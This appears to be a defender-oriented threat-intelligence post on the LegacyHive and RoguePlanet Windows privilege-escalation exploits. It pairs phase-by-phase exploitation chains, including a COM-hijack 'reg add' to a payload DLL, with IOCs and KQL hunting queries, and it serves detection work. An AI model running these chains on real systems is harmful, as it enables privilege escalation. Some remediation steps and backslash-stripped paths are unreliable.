On July 14, 2026 – a date the actor publicly pre-announced as a “bone shattering” drop – a researcher operating under the alias Nightmare Eclipse released LegacyHive: a working proof-of-concept exploit targeting a design-level flaw in the Windows User Profile Service (ProfSvc). As of July 16, 2026, this vulnerability carries no CVE, no Microsoft advisory, and no patch. It affects every supported Windows desktop and server edition, including fully patched July 2026 Patch Tuesday systems.
LegacyHive is the eighth exploit in Nightmare Eclipse’s escalating retaliatory campaign against Microsoft – a campaign that began in April 2026 and has already produced three vulnerabilities listed in CISA’s Known Exploited Vulnerabilities catalog, actively weaponized from Russian-geolocated infrastructure within days of release. This post delivers the complete technical breakdown: both the unpatched LegacyHive primitive and the separately patched RoguePlanet (CVE-2026-50656) SYSTEM-level escalation, full attack chains, MITRE ATT&CK mapping, validated MDE Advanced Hunting and Sentinel KQL queries, and a blue team detection playbook.
Critical Note for Blue Teams: “LegacyHive” is the name Nightmare Eclipse chose for this exploit tool. It has no relationship to the Hive ransomware group or its successor Hunters International. The naming overlap is coincidental and has caused confusion in early reporting.
The Nightmare Eclipse Campaign: Full Context
Who Is Nightmare Eclipse?
Nightmare Eclipse is an individual operating under the aliases MSNightmare (banned GitHub account), Chaotic Eclipse (blog persona at deadeclipse666[.]blogspot[.]com), and Dead Eclipse. Open-source reporting suggests a possible former Microsoft employee or contractor with an employment window between September 2022 and June 2025, possessing insider-level Windows internals knowledge. Possible Germany-based origin has been noted but not confirmed.
The actor’s stated motivation is a personal grievance: “Microsoft violated an unspecified agreement and left me homeless with nothing.” The blog claims direct threats from Microsoft Security Response Center (MSRC) personnel. This is a targeted retaliatory campaign by a technically sophisticated individual – not a financially or geopolitically motivated threat actor.
The actor has a declared dead man’s switch with automated release triggers for future exploits. Treat this as an ongoing campaign with no defined end.
The Complete Exploit Catalog
| Exploit Name | CVE | CVSS | Component | Patch Status | In-the-Wild |
|---|---|---|---|---|---|
| BlueHammer | CVE-2026-33825 | 7.8 | Windows Defender | Patched April 2026 | Yes – CISA KEV |
| RedSun | CVE-2026-41091 | N/A | Windows Defender | Patched May 21 OOB | Yes – CISA KEV |
| UnDefend | CVE-2026-45498 | N/A | Microsoft Defender | Patched May 21 OOB | Yes – CISA KEV |
| YellowKey | CVE-2026-45585 | 6.8 | BitLocker/WinRE | Patched June 2026 | No |
| GreenPlasma | CVE-2026-45586 | 7.8 | CTF Framework | Patched June 2026 | No |
| MiniPlasma | CVE-2020-17103 | 7.8 | Cloud Files Mini Filter | Patched June 2026 | No |
| RoguePlanet | CVE-2026-50656 | 7.8 | Defender Engine | Patched July 9 OOB | No |
| GreatXML | None | N/A | BitLocker/WinRE/Defender | UNPATCHED | No |
| LegacyHive | None | N/A | User Profile Service | UNPATCHED | No |
Campaign Timeline
| Date | Event |
|---|---|
| Sept 2022 – June 2025 | Alleged Microsoft employment period |
| April 2, 2026 | BlueHammer (CVE-2026-33825) released – campaign begins |
| April-May 2026 | RedSun, UnDefend, YellowKey, GreenPlasma, MiniPlasma released (one per ~10 days) |
| May 28, 2026 | Microsoft escalates; actor promises “bone shattering” July 14 drop |
| June 10, 2026 | RoguePlanet (CVE-2026-50656) released – hours after June Patch Tuesday |
| June 2026 | Banned from GitHub and GitLab; moves to git.projectnightcrawler[.]dev |
| July 9, 2026 | RoguePlanet patched OOB – Defender engine 1.1.26060.3008 |
| July 14, 2026 | LegacyHive released exactly as promised |
| July 16, 2026 | LegacyHive remains unpatched, no CVE, no Microsoft advisory |
LegacyHive: Vulnerability Anatomy
What Is the Bug?
The Windows User Profile Service (ProfSvc) performs insufficient validation when loading registry hives during profile initialization. A standard, non-privileged user can chain three sub-techniques – offline registry hive modification, Object Manager symbolic link redirection, and synchronized process creation with batch oplock timing – to force ProfSvc to load a different user’s UsrClass.dat hive into the attacker-controlled user’s HKU<SID>_Classes namespace.
This is a design-level flaw, not a memory-safety vulnerability. No buffer overflow, no kernel exploit, no administrator rights required. The attack requires two local standard user accounts: a helper account (controlled by the attacker) and a target account (an administrator or any user whose hive is of value).
Root Cause: The Profile Service Trust Chain
When ProfSvc loads a user’s profile, it reads the Local AppData value from:
HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersLocal AppData
ProfSvc trusts this value to locate and load UsrClass.dat (the user’s COM class registration hive). The flaw: ProfSvc does not adequately validate that the resolved path actually belongs to the authenticating user. An attacker who can modify the helper account’s NTUSER.DAT offline (bypassing live filesystem locks) can redirect this value to an attacker-controlled Object Manager namespace path, causing ProfSvc to load any arbitrary UsrClass.dat – including the target administrator’s.
Practical Impact
The published PoC grants a non-admin user read-write access to an administrator’s class registration hive. Security researcher Will Dormann described this as “a genuinely useful primitive” for attack chaining. With write access to the target’s classes root, an attacker can:
- Modify COM class registrations to redirect code execution
- Inject malicious shell extension handlers into the target’s context
- Tamper with file associations to trigger payload execution under target SID
- Access credential-bearing registry entries in the target’s hive
The original (non-stripped) version of the exploit reportedly supports loading any hive including those containing credential material. The public PoC was intentionally limited to avoid maximum abuse potential.
LegacyHive: Full Exploitation Chain
Execution syntax: LegacyHive.exe <HelperAccount> <HelperPassword> <TargetUser>
Phase 1: Staging Environment Construction
# What the exploit does internally:
# 1. Generates a random GUID as working directory name
# 2. Creates C:{GUID} with permissive DACL (GENERIC_ALL for Everyone)
# 3. Stages decoy ntuser.dat and UsrClass.dat files in this directory
The GUID-named directory receives a permissive DACL granting GENERIC_ALL to Everyone, ensuring the exploit can operate without UAC prompts or admin elevation.
Phase 2: Object Manager Namespace Construction
The exploit resolves NtCreateSymbolicLinkObject and NtCreateDirectoryObjectEx from ntdll.dll and builds a deceptive Object Manager namespace:
# Object Manager paths created:
\.GlobalRootBaseNamedObjectsRestricted{GUID}
\.GlobalRootBaseNamedObjectsRestrictedMicrosoft
\.GlobalRootBaseNamedObjectsRestrictedMicrosoftWindows → C:{GUID}
# ↑ Symbolic link: "Windows" resolves to attacker-controlled staging dir
Net effect: any path that resolves through \.GlobalRootBaseNamedObjectsRestrictedMicrosoftWindows will continue resolution within C:{GUID} – the attacker’s staging directory. This is the redirection primitive.
Phase 3: Offline NTUSER.DAT Modification
The exploit authenticates as the helper account via LogonUserW + ImpersonateLoggedOnUser, then uses the Offline Registry Library to modify the helper’s NTUSER.DAT without loading it live (bypassing live-file locks):
# Offline Registry Library API chain:
OROpenHiveByHandle(helper_ntuser_dat)
OROpenKey("SoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders")
ORSetValue("Local AppData", "\.GlobalRootBaseNamedObjectsRestricted")
ORSaveHive(helper_ntuser_dat)
# ↑ Poisons helper account's Local AppData to the attacker Object Manager namespace
This is the key misdirection: ProfSvc will now resolve the helper’s UsrClass.dat path through the attacker-controlled Object Manager symbolic link.
Phase 4: Batch Oplock + Synchronized Profile Load (Race Trigger)
# Step 1: Stage target user's UsrClass.dat copy
copy C:Users{target}AppDataLocalMicrosoftWindowsUsrClass.dat C:{GUID}MicrosoftWindowsUsrClass.dat
# Step 2: Place batch oplock on the staged copy
# FSCTL_REQUEST_BATCH_OPLOCK on C:{GUID}MicrosoftWindowsUsrClass.dat
# Step 3: Trigger ProfSvc profile load via CreateProcessWithLogonW
CreateProcessWithLogonW(
user=HelperAccount,
flags=LOGON_WITH_PROFILE | CREATE_SUSPENDED,
binary=notepad.exe # benign carrier
)
# LOGON_WITH_PROFILE → forces ProfSvc to fully load helper's profile
# CREATE_SUSPENDED → holds process alive without executing, maintaining oplock context
Phase 5: Oplock Fires – Hive Substitution
# Sequence during ProfSvc profile initialization:
# 1. ProfSvc reads poisoned Local AppData value → \.GlobalRootBaseNamedObjectsRestricted
# 2. Object Manager resolves → C:{GUID}MicrosoftWindowsUsrClass.dat (staged copy)
# 3. Oplock fires when ProfSvc touches the staged file
# 4. Exploit closes the symbolic link → path now resolves to LIVE target UsrClass.dat
# 5. ProfSvc loads target administrator's UsrClass.dat into HKU{HelperSID}_Classes
The race window is precisely controlled by the oplock. The oplock fires exactly when ProfSvc opens the file, giving the exploit deterministic timing to swap the symbolic link target before ProfSvc completes the load.
Phase 6: Exploitation
# Validation: open helper's classes root - should contain target's data
RegOpenUserClassesRoot(helper_token) → confirms target hive loaded
# With write access to target's HKU{TargetSID}_Classes:
# Option A: COM hijack
reg add "HKU{HelperSID}_ClassesCLSID{target-CLSID}InprocServer32" /ve /d "C:payload.dll"
# Option B: Shell extension injection (triggers on next Explorer interaction by target)
# Option C: File association hijack - .txt → malicious binary
# Option D: Pivot to credential-bearing portions of hive
Win32/NT API Fingerprint (LegacyHive)
| API | Purpose in Exploit |
|---|---|
NtCreateDirectoryObjectEx |
Object Manager namespace construction |
NtCreateSymbolicLinkObject |
Symbolic link redirection in Object Manager |
LogonUserW + ImpersonateLoggedOnUser |
Helper account impersonation |
OROpenHiveByHandle / ORSetValue / ORSaveHive |
Offline registry hive modification |
FSCTL_REQUEST_BATCH_OPLOCK |
Race condition timing synchronization |
CreateProcessWithLogonW |
ProfSvc profile load trigger |
RegOpenUserClassesRoot |
Post-exploitation hive access validation |
RoguePlanet (CVE-2026-50656): The SYSTEM-Level Escalation
Vulnerability Overview
RoguePlanet exploits a TOCTOU race condition in the Microsoft Defender Malware Protection Engine’s file-handling and quarantine pipeline. The gap between Defender’s artifact creation and path validation is exploitable through a coordinated chain of NTFS reparse points, opportunistic locks on alternate data streams, VSS snapshots, and Windows Error Reporting scheduled task abuse. No memory corruption, no kernel bugs, no admin rights required. Full SYSTEM execution on Windows 10 and 11 (all editions, fully patched through June 2026).
Patch: Defender engine version 1.1.26060.3008 (auto-updated July 9, 2026). Verify with: Get-MpComputerStatus | Select-Object AMEngineVersion
Full Exploitation Chain (RoguePlanet)
Stage 1: Entry Point Check
# Binary checks current integrity level
# If already SYSTEM → delivers shell via \.pipeRoguePlanet (named pipe)
# Otherwise → proceeds with escalation
Stage 2: I/O Saturation (Race Condition Setup)
# Spawns generator thread + per-core worker threads
# Writes UUID-named temp files to create scheduling pressure
# Creates deterministic kernel scheduling conditions favorable to the race
Stage 3: Defender Invocation via MpClient.dll
# Loads MpClient.dll directly (not via MsMpEng.exe)
# Calls Defender scanning RPC APIs:
MpManagerOpen → MpScanStart → MpScanResult → MpThreatOpen →
MpThreatEnumerate → MpCleanOpen → MpCleanStart
# Creates EICAR-containing lure at:
%TEMP%RP_{GUID}System32wermgr.exe # EICAR data inside → triggers Defender
Stage 4: ISO Extraction + VSS Monitoring
# Extracts embedded ISO → mounts as virtual disk
OpenVirtualDisk + AttachVirtualDisk
# ISO contains EICAR-named wermgr.exe to feed Defender's scan
# Simultaneously monitors for VSS snapshot creation:
NtQueryDirectoryObject on DeviceHarddiskVolumeShadowCopy*
Stage 5: Oplock + NTFS Junction Manipulation
# Places batch oplock on Alternate Data Stream (ADS):
# %TEMP%RP_{GUID}System32:WDFOO
# Converts directory to NTFS reparse point → targets ISO mount
# Oplock fires when Defender touches the ADS
# On oplock fire:
# Redirect junction → attacker's temp directory (swap!)
Stage 6: SYSTEM File Handle Capture + Payload Injection
# Defender creates quarantine file owned by SYSTEM
# While Defender holds SYSTEM-owned file handle open:
# Overwrite file content with exploit binary
NtSetInformationFile(FileRenameInformationEx) → reposition SYSTEM-owned file
Stage 7: Task Scheduler SYSTEM Execution
# Final NTFS junction redirect:
# %TEMP%RP_{GUID}System32wermgr.exe ← appears as C:WindowsSystem32wermgr.exe
# Trigger QueueReporting scheduled task via COM (runs as NT AUTHORITYSYSTEM):
CoCreateInstance(CLSID_TaskScheduler)
→ Trigger MicrosoftWindowsWindows Error ReportingQueueReporting
# wermgr.exe executes as S-1-5-18 (SYSTEM)
# Delivers SYSTEM shell via \.pipeRoguePlanet
Key APIs (RoguePlanet)
| API | Purpose |
|---|---|
MpManagerOpen / MpScanStart / MpCleanStart |
Defender RPC invocation via MpClient.dll |
OpenVirtualDisk / AttachVirtualDisk |
ISO mounting for EICAR delivery |
NtQueryDirectoryObject |
VSS snapshot monitoring from user-space |
FSCTL_REQUEST_BATCH_OPLOCK |
ADS oplock for race synchronization |
NtSetInformationFile (FileRenameInformationEx) |
SYSTEM-owned quarantine file relocation |
CoCreateInstance (TaskScheduler) |
Out-of-schedule QueueReporting trigger |
GetNamedPipeServerSessionId |
SYSTEM shell delivery validation |
MITRE ATT&CK Mapping
LegacyHive
| Technique ID | Name | Application |
|---|---|---|
| T1134.003 | Access Token Manipulation: Make and Impersonate Token | LogonUserW + ImpersonateLoggedOnUser for helper account impersonation |
| T1112 | Modify Registry | Offline modification of NTUSER.DAT Local AppData to Object Manager path |
| T1547.001 | Boot/Logon Autostart: Registry Run Keys | User Shell Folders manipulation to redirect profile initialization |
| T1548.002 | Abuse Elevation: Bypass UAC | Cross-user registry hive mounting enables privilege escalation without UAC |
| T1574.010 | Hijack Execution Flow: Services File Permissions Weakness | Abusing ProfSvc’s hive loading logic via insufficient path validation |
| T1083 | File and Directory Discovery | Enumerating target user’s profile paths to locate UsrClass.dat |
| T1003 | OS Credential Dumping (chained) | Full non-PoC version can access credential-bearing hives under target SID |
| T1070.004 | Indicator Removal: File Deletion | GUID staging directory cleaned up post-exploitation |
RoguePlanet (CVE-2026-50656)
| Technique ID | Name | Application |
|---|---|---|
| T1068 | Exploitation for Privilege Escalation | Core TOCTOU race condition in Defender quarantine pipeline |
| T1036.005 | Masquerading: Match Legitimate Name or Location | wermgr.exe impersonation via System32 directory junction |
| T1053.005 | Scheduled Task/Job: Scheduled Task | QueueReporting task triggered out-of-schedule via COM for SYSTEM execution |
| T1055 | Process Injection | Payload injected into Defender-created quarantine file while SYSTEM holds handle |
| T1027 | Obfuscate Files or Information | Embedded ISO, alternate data streams, EICAR lure to trigger Defender |
| T1006 | Direct Volume Access | VSS snapshot monitoring via NtQueryDirectoryObject |
| T1059.001 | Command and Scripting Interpreter: PowerShell | SYSTEM shell delivered via named pipe post-escalation |
| T1571 | Non-Standard Port | Named pipe \.pipeRoguePlanet for out-of-band shell delivery |
Technical Indicators of Compromise
LegacyHive File Artifacts
| Artifact | Description |
|---|---|
C:{random-GUID} |
Staging directory with GENERIC_ALL DACL for Everyone |
C:{GUID}ntuser.dat |
Decoy hive file |
C:{GUID}MicrosoftWindowsUsrClass.dat |
Oplock target (copy of target user’s live hive) |
C:Users{target}AppDataLocalMicrosoftWindowsUsrClass.dat |
Target hive loaded into helper’s namespace |
NTUSER.DAT write timestamp mismatch |
Offline modification creates timestamp anomaly |
LegacyHive Registry Artifacts
| Key / Value | Indicator |
|---|---|
HKCU...User Shell FoldersLocal AppData |
Value poisoned to \.GlobalRootBaseNamedObjectsRestricted |
HKU{HelperSID}_Classes* |
Target user’s COM registrations appear under helper SID after exploit |
Suspicious Object Manager Paths
\.GlobalRootBaseNamedObjectsRestricted{GUID}\.GlobalRootBaseNamedObjectsRestrictedMicrosoft\.GlobalRootBaseNamedObjectsRestrictedMicrosoftWindows(symbolic link → attacker dir)
RoguePlanet File Artifacts
| Artifact | Description |
|---|---|
%TEMP%RP_{GUID} |
Exploit working directory |
%TEMP%RP_{GUID}wdtest_temp |
EICAR lure to trigger Defender scan |
%TEMP%RP_{GUID}System32wermgr.exe |
Exploit binary – masquerades as system wermgr |
\.pipeRoguePlanet |
Named pipe for SYSTEM shell delivery |
PDB: C:UsersusersourcereposScanManx64ReleaseRoguePlanet.pdb |
Compilation artifact embedded in PoC binary |
Threat Actor Infrastructure (IOCs)
deadeclipse666[.]blogspot[.]com– actor blog (advance exploit announcements)git.projectnightcrawler[.]dev/NightmareEclipse/LegacyHive– PoC repository- Russian-geolocated IPs – in-the-wild BlueHammer/RedSun/UnDefend exploitation
Microsoft Sentinel KQL Detection Queries
Sentinel Query 1: LegacyHive – User Shell Folders Registry Tampering
// Detect LegacyHive's core registry poisoning technique
// Local AppData redirected to Object Manager namespace path
SecurityEvent
| where EventID == 4657
| where ObjectName contains "User Shell Folders"
| where OperationType == "%%1905" // Existing registry value modified
| extend RegValue = tostring(parse_json(EventData).ObjectValueName)
| extend NewData = tostring(parse_json(EventData).NewValue)
| where RegValue =~ "Local AppData"
| where NewData contains "GlobalRoot"
or NewData contains "BaseNamedObjects"
or NewData contains "\.\"
or NewData !startswith "C:\Users\"
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
ObjectName, RegValue, NewData, ProcessName
| sort by TimeGenerated desc
Sentinel Query 2: LegacyHive – Cross-SID Profile Load with Suspended Process
// Detect CreateProcessWithLogonW with LOGON_WITH_PROFILE on alternate account
// High-fidelity LegacyHive execution indicator
SecurityEvent
| where EventID == 4648 // Explicit credentials used
| where LogonProcessName == "seclogo"
| where SubjectUserName != TargetUserName
| where TargetDomainName == "." // Local account
| project TimeGenerated, Computer, SubjectUserName, TargetUserName,
ProcessName, IpAddress, LogonType
| join kind=inner (
SecurityEvent
| where EventID == 4688
| where NewProcessName has_any ("notepad.exe","calc.exe","mspaint.exe","msiexec.exe")
| project Computer, ProcessTime = TimeGenerated,
NewProcessName, ParentProcessName, SubjectLogonId
) on Computer
| where abs(datetime_diff('second', TimeGenerated, ProcessTime)) < 10
| project TimeGenerated, Computer, SubjectUserName, TargetUserName,
NewProcessName, ParentProcessName, ProcessName
| sort by TimeGenerated desc
Sentinel Query 3: LegacyHive – NTUSER.DAT Access by Non-Profile Service
// Alert on offline registry hive modification outside normal profile provisioning
// Catches OROpenHiveByHandle/ORSaveHive pattern used by LegacyHive
SecurityEvent
| where EventID == 4663
| where ObjectType == "File"
| where ObjectName has_any ("ntuser.dat", "UsrClass.dat", "NTUSER.DAT")
| where ObjectName !startswith "C:\Windows\"
| where SubjectUserName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where ProcessName !in~ (
"userinit.exe", "winlogon.exe", "regedit.exe",
"reg.exe", "lsass.exe", "svchost.exe"
)
| where AccessMask has_any ("0x2", "0x4", "0x40", "0x100002") // Write access masks
| project TimeGenerated, Computer, SubjectUserName, SubjectDomainName,
ObjectName, ProcessName, AccessMask
| sort by TimeGenerated desc
Sentinel Query 4: RoguePlanet – MsMpEng Spawning Shell Processes
// Highest-fidelity RoguePlanet indicator
// Defender engine spawning interactive shell as SYSTEM
SecurityEvent
| where EventID == 4688
| where ParentProcessName has "MsMpEng.exe"
| where NewProcessName has_any (
"cmd.exe", "powershell.exe", "pwsh.exe",
"conhost.exe", "cscript.exe", "wscript.exe", "mshta.exe"
)
| project TimeGenerated, Computer, SubjectUserName, SubjectLogonId,
NewProcessName, CommandLine, ParentProcessName
| sort by TimeGenerated desc
Sentinel Query 5: RoguePlanet – wermgr.exe Executing as SYSTEM Outside Schedule
// QueueReporting task abuse: wermgr.exe running as SYSTEM from unexpected parent
SecurityEvent
| where EventID == 4688
| where NewProcessName has "wermgr.exe"
| where SubjectUserSid == "S-1-5-18" // NT AUTHORITYSYSTEM
| where ParentProcessName !in~ ("svchost.exe", "taskhost.exe", "taskhostw.exe")
| project TimeGenerated, Computer, SubjectUserName,
NewProcessName, CommandLine, ParentProcessName
// Correlate with task scheduler event within 60s window
| join kind=leftouter (
Event
| where Source == "Microsoft-Windows-TaskScheduler"
| where EventID in (200, 201)
| where RenderedDescription contains "QueueReporting"
| project TaskTime = TimeGenerated, Computer
) on Computer
| where abs(datetime_diff('second', TimeGenerated, TaskTime)) < 60
| sort by TimeGenerated desc
MDE Advanced Hunting Queries
MDE Query 1: LegacyHive – Registry Hive File Access by Non-System Processes
// Detect offline hive manipulation - core LegacyHive primitive
// OROpenHiveByHandle/ORSaveHive from user-space process
DeviceFileEvents
| where FileName in~ ("ntuser.dat", "UsrClass.dat")
| where ActionType in ("FileModified", "FileCreated", "FileCopied", "FileRenamed")
| where FolderPath !startswith "C:\Windows\"
| where InitiatingProcessAccountName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where InitiatingProcessFileName !in~ (
"userinit.exe", "winlogon.exe", "lsass.exe",
"reg.exe", "regedit.exe", "svchost.exe"
)
| project Timestamp, DeviceName, DeviceId,
FileName, FolderPath, ActionType,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessAccountName, InitiatingProcessAccountDomain
| sort by Timestamp desc
MDE Query 2: LegacyHive – User Shell Folders Redirection via Registry
// Catch Local AppData poisoning - the registry modification that enables hive swap
DeviceRegistryEvents
| where RegistryKey contains "User Shell Folders"
| where RegistryValueName =~ "Local AppData"
| where RegistryValueData contains "GlobalRoot"
or RegistryValueData contains "BaseNamedObjects"
or RegistryValueData contains "\.\"
or (RegistryValueData !startswith "C:\Users\"
and RegistryValueData !startswith "%USERPROFILE%")
| project Timestamp, DeviceName, DeviceId,
RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessAccountName
| sort by Timestamp desc
MDE Query 3: LegacyHive – Cross-Account Suspended Process with Profile Load
// Detect CreateProcessWithLogonW + LOGON_WITH_PROFILE + CREATE_SUSPENDED pattern
// Hallmark LegacyHive behavior for ProfSvc profile-load trigger
DeviceProcessEvents
| where ProcessCreationFlags has_any ("0x4", "CREATE_SUSPENDED")
| where AccountName != InitiatingProcessAccountName
| where InitiatingProcessFileName !in~ (
"lsass.exe", "winlogon.exe", "userinit.exe",
"services.exe", "wininit.exe", "csrss.exe"
)
| where FileName in~ (
"notepad.exe", "calc.exe", "mspaint.exe", "msiexec.exe",
"rundll32.exe", "regsvr32.exe", "wscript.exe", "cscript.exe"
)
| project Timestamp, DeviceName, DeviceId,
FileName, ProcessCommandLine, AccountName, AccountSid,
InitiatingProcessFileName, InitiatingProcessAccountName,
InitiatingProcessCommandLine, ProcessCreationFlags
| sort by Timestamp desc
MDE Query 4: RoguePlanet – MsMpEng Spawning SYSTEM Shell
// Highest-confidence RoguePlanet detection - SYSTEM shell from Defender engine
DeviceProcessEvents
| where InitiatingProcessFileName =~ "MsMpEng.exe"
| where FileName in~ (
"cmd.exe", "powershell.exe", "pwsh.exe",
"conhost.exe", "cscript.exe", "wscript.exe", "mshta.exe"
)
| where AccountSid == "S-1-5-18" // NT AUTHORITYSYSTEM
| project Timestamp, DeviceName, DeviceId,
FileName, ProcessCommandLine, AccountSid, AccountName,
InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc
MDE Query 5: RoguePlanet – Named Pipe RoguePlanet Shell Delivery
// Named pipe creation/connection as SYSTEM shell delivery mechanism
DeviceEvents
| where ActionType in ("NamedPipeEvent", "NamedPipeServerCreated", "NamedPipeClientConnected")
| where AdditionalFields contains "RoguePlanet"
| project Timestamp, DeviceName, DeviceId, ActionType,
InitiatingProcessFileName, InitiatingProcessAccountName,
InitiatingProcessCommandLine, AdditionalFields
| sort by Timestamp desc
MDE Query 6: RoguePlanet – Defender Engine Loading MpClient.dll Outside Normal Context
// MpClient.dll loaded by non-Defender process - RoguePlanet's Defender invocation
DeviceImageLoadEvents
| where FileName =~ "MpClient.dll"
| where InitiatingProcessFileName !in~ (
"MsMpEng.exe", "MpCmdRun.exe", "MpDlpCmd.exe",
"SecurityHealthService.exe", "msmpeng.exe"
)
| project Timestamp, DeviceName, DeviceId,
FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessAccountName
| sort by Timestamp desc
MDE Query 7: VSS Enumeration from User-Space (Both Exploits)
// Volume Shadow Copy enumeration from user-space process
// Used by RoguePlanet; also diagnostic of HiveNightmare CVE-2021-36934
DeviceEvents
| where ActionType == "ProcessAccessed"
| where AdditionalFields contains "HarddiskVolumeShadowCopy"
| where InitiatingProcessIntegrityLevel !in ("System", "High")
| where InitiatingProcessFileName !in~ (
"vssvc.exe", "vdsldr.exe", "diskshadow.exe",
"wbengine.exe", "svchost.exe"
)
| project Timestamp, DeviceName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessAccountName, InitiatingProcessIntegrityLevel,
AdditionalFields
| sort by Timestamp desc
MDE Query 8: Pre-Ransomware / Post-Exploit Correlation – Full Kill Chain
// Correlate LegacyHive + lateral movement indicators within a 2-hour window
// Detects the full attack chain: hive swap → privilege escalation → lateral movement
let HiveSwapEvents = DeviceFileEvents
| where FileName in~ ("ntuser.dat", "UsrClass.dat")
| where ActionType in ("FileModified", "FileCopied")
| where InitiatingProcessFileName !in~ ("userinit.exe","winlogon.exe","lsass.exe")
| project HiveTime = Timestamp, DeviceName, HiveFile = FileName,
HiveProcess = InitiatingProcessFileName,
HiveAccount = InitiatingProcessAccountName;
let LateralMovement = DeviceNetworkEvents
| where RemotePort in (445, 135, 3389)
| where ActionType == "ConnectionSuccess"
| where InitiatingProcessFileName !in~ ("svchost.exe","lsass.exe")
| project NetTime = Timestamp, DeviceName, RemoteIP, RemotePort,
NetProcess = InitiatingProcessFileName,
NetAccount = InitiatingProcessAccountName;
HiveSwapEvents
| join kind=inner LateralMovement on DeviceName
| where NetTime > HiveTime
| where datetime_diff('minute', NetTime, HiveTime) <= 120
| project HiveTime, DeviceName, HiveFile, HiveProcess, HiveAccount,
NetTime, RemoteIP, RemotePort, NetProcess, NetAccount,
MinutesBetween = datetime_diff('minute', NetTime, HiveTime)
| sort by HiveTime desc
Blue Team Detection Playbook
Endpoint Detection – Behavioral Indicators
LegacyHive (High Confidence):
- Standard user process opening
NTUSER.DATof a different user via Offline Registry Library pattern (non-userinit.exe, non-winlogon.exeprocess) UsrClass.datcopied outside its expectedAppDataLocalMicrosoftWindowspath- Object Manager symbolic link created under
BaseNamedObjectsRestrictedby user-space process - Hive replacement and restoration within a 2-10 second window (rapid oplock-timed swap)
FSCTL_REQUEST_BATCH_OPLOCKissued on a user-profile hive file from non-system process- Benign binary (
notepad.exe,calc.exe) launched under alternate account SID viaCreateProcessWithLogonWwithLOGON_WITH_PROFILE
RoguePlanet (High Confidence):
MpClient.dllloaded outsideMsMpEng.exeorMpCmdRun.execontextVirtdisk.dllloaded in user-space process (ISO mounting from non-admin context)- NTFS junction/reparse-point creation in
%TEMP%path immediately followed by Defender scanning activity conhost.exespawned from a SYSTEM-integrity parent with nocmd.exeterminal ancestorwermgr.exehash deviation from Microsoft-signed baseline- Named pipe
\.pipeRoguePlanetcreation from user-space process
Event ID Quick Reference
| Event ID | Log | What to Alert On |
|---|---|---|
| 4648 | Security | Explicit credentials – LogonUserW from non-system process for local account |
| 4624 | Security | Logon Type 9 (NewCredentials) correlating with LegacyHive execution window |
| 4688 | Security | Benign binary (notepad/calc) under alternate SID from unusual parent; wermgr.exe as SYSTEM |
| 4657 | Security | Registry write to Local AppData in User Shell Folders to non-standard path |
| 4663 | Security | Write access to NTUSER.DAT/UsrClass.dat by non-profile-service process |
| 4698/4702 | Security | Scheduled task created/modified – QueueReporting triggered out of schedule |
| Sysmon 17/18 | Sysmon | Named pipe event: pipeRoguePlanet |
| VHDMP Operational | VHDMP | Virtual disk (ISO) mount from temp/user-writable path without MOTW |
| TaskScheduler 200/201 | TaskScheduler/Operational | QueueReporting invocation outside its scheduled window |
Remediation and Hardening
LegacyHive – No Patch, Mitigations Only
-
Restrict Local Account Creation – LegacyHive requires a second local user account (helper). Limit local account creation via GPO:
Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Add workstation to domain. -
Enable SACL Auditing on Hive Files – Apply advanced audit policy for object access on
NTUSER.DATandUsrClass.dat. Alert on any process writing these files that is notuserinit.exeorwinlogon.exe:auditpol /set /subcategory:"File System" /success:enable /failure:enable -
Registry Value Monitoring – Enable
Audit RegistryforHKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell Folders. Alert immediately onLocal AppDatachanges to Object Manager paths:auditpol /set /subcategory:"Registry" /success:enable /failure:enable -
Application Allowlisting (Highest ROI) – Deploy WDAC, AppLocker, or ThreatLocker in deny-by-default mode. Block execution of unsigned/untrusted binaries from
%TEMP%and user-writable paths. This stops the PoC binary regardless of the underlying technique. ThreatLocker policy:TL.EV.1827 - Detection of Malware (Defender: LegacyHive). -
Multi-Session Environment Priority – LegacyHive is most dangerous on Remote Desktop Session Hosts and VDI where multiple user accounts coexist. Apply tightest controls on these first.
-
Monitor Nightmare Eclipse Infrastructure – Add
deadeclipse666[.]blogspot[.]comandgit.projectnightcrawler[.]devto DNS/proxy blocklists and set up RSS/web change alerts for advance warning of future exploit drops.
RoguePlanet – Verify Patch First
# Verify Defender engine version (must be ≥ 1.1.26060.3008)
Get-MpComputerStatus | Select-Object AMEngineVersion, AMProductVersion
# If behind, force update:
Update-MpSignature -UpdateSource MicrosoftUpdateServer
If patching is delayed, block ISO/VHD mounting for standard users via GPO: Computer Configuration → Administrative Templates → Windows Components → BitLocker Drive Encryption. Also restrict symlink evaluation:
fsutil behavior set SymlinkEvaluation R2L:0 R2R:0
Full Nightmare Eclipse Campaign Patch Checklist
| Action | Covers |
|---|---|
| Apply all June + July 2026 Patch Tuesday cumulative updates | BlueHammer, RedSun, UnDefend, YellowKey, GreenPlasma, MiniPlasma, RoguePlanet |
| Verify Defender engine ≥ 1.1.26060.3008 | RoguePlanet (CVE-2026-50656) |
| Verify Defender platform ≥ 4.18.26050.3011 | BlueHammer (CVE-2026-33825) |
| BitLocker startup PIN (not TPM-only) | YellowKey, GreatXML |
| BIOS/UEFI password | YellowKey physical vector |
| Block unsigned executables from user-writable paths | All LPE exploits (blocks PoC binary) |
| CISA KEV catalog subscription | Exploit-in-the-wild early warning |
| Deploy all 8 MDE queries above | Detection coverage across all Nightmare Eclipse techniques |
Key Intelligence Summary
- LegacyHive is unpatched as of July 16, 2026. No CVE, no Microsoft advisory, no fix. Application allowlisting is the only reliable technical control today.
- RoguePlanet (CVE-2026-50656) is patched. If your Defender engine auto-updates are not blocked, you are protected. If they are blocked, you are at critical risk of SYSTEM-level compromise.
- LegacyHive has no relationship to Hive ransomware. The name was chosen by Nightmare Eclipse. Conflating the two creates false threat models.
